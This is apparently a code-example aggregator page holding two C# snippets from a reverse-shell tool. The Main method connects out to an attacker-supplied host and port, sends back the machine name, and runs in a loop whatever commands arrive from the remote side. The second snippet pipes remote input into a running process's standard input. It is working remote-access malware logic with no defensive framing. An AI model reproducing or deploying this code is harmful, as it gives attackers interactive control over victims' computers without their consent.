Ejemplo n.º 1
0
        public static void Main(string[] args)
        {
            if (args.Length != 2)
            {
                throw new ArgumentException();
            }
            else
            {
                connection = new TcpReverseConnection();
                connection.StartClient(args[0], args[1]);

                // Initialize invoker which sets commands in its constructor
                CommandInvoker commandInvoker = new CommandInvoker(connection);

                connection.SendData($"Connected! Welcome to {Environment.MachineName}\nType 'help' to see available commands\n");

                while (connection.IsConnected)
                {
                    connection.SendData(prompt);
                    // TODO: try/catch for ctrl+c close of connection - maybe attempt reconnect??
                    string commandReceived = connection.ReceiveData();

                    try
                    {
                        commandInvoker.ParseCommandReceived(commandReceived);
                    }
                    catch (Exception e)
                    {
                        connection.SendData($"Exception: {e.Message}");
                    }
                }
            }
        }
Ejemplo n.º 2
0
        public void WriteStdIn()
        {
            string inputText = activeConnection.ReceiveData();

            if (runningProcess != null && runningProcess.HasExited == false && !string.IsNullOrEmpty(inputText))
            {
                runningProcess.StandardInput.WriteLine(inputText);
            }
        }